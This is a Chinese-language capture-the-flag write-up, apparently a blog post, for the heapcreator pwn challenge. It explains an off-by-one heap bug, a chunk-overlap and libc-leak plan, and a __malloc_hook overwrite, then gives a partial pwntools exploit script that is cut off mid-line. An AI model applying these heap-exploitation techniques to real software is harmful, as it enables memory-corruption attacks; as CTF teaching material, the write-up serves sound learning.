buuoj Pwn writeup 71-75

71 hitcontraining_heapcreator

保护

在这里插入图片描述菜单
在这里插入图片描述功能还是很齐全的,题目应该不难。

create
在这里插入图片描述结构简单。

在这里插入图片描述

edit
在这里插入图片描述read_input那里有off by one。

show
在这里插入图片描述

delete

在这里插入图片描述平平无奇输出删除。

那我们就是常规思路,通过off by one,制造overlapping,然后泄露地址,malloc_hook一套给它带走。

首先我们想的是通过off by one,申请4个0x71大小的chunk,将第一个chunk的size改成0xe1,然后free掉,从而制造overlapping,我们再将第一个申请回来,然后地址就会中第二个chunk中,就可以释放地址。顺路把第二个的chunkfd改成malloc - 0x8的位置,然后申请回来,编辑就好了。

但是要注意的是因为里面create一次会创建两个chunk,大小也不一样,所以我们要先申请并且释放一些0x10的chunk,来让后面那些0x70的chunk是在一起的,方便溢出。

exp

# -*- coding: utf-8 -*-
from pwn import *

#r = remote('node3.buuoj.cn',25794)
r = process('./71')

context.log_level = "debug"

elf = ELF('./71')
libc = ELF('./64/libc-2.23.so')
#libc = ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6')
one_gadget = 0x4526a

def create(size, content):
    r.sendlineafter("Your choice :", "1")
    r.sendlineafter("Size of Heap : ", str(size))
    r.sendlineafter("Content of heap:", content)

def edit(index, content):
    r.sendlineafter("Your choice :", "2")
    r.sendlineafter("Index :", str(index))
    r.sendlineafter("Content of heap : ", content)

def show(index):
    r.sendlineafter("Your choice :", "3")
    r.sendlineafter("Index :", str(index))

def delete(index):
    r.sendlineafter("Your choice :", "4")
    r.sendlineafter("Index :", str(index))

create(0x18, '0000') #0
create(0x18, '0000') #1
create(0x18, '0000') #2
delete(0)
delete(1)
delete(2)

create(0x68, 'aaaa'
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值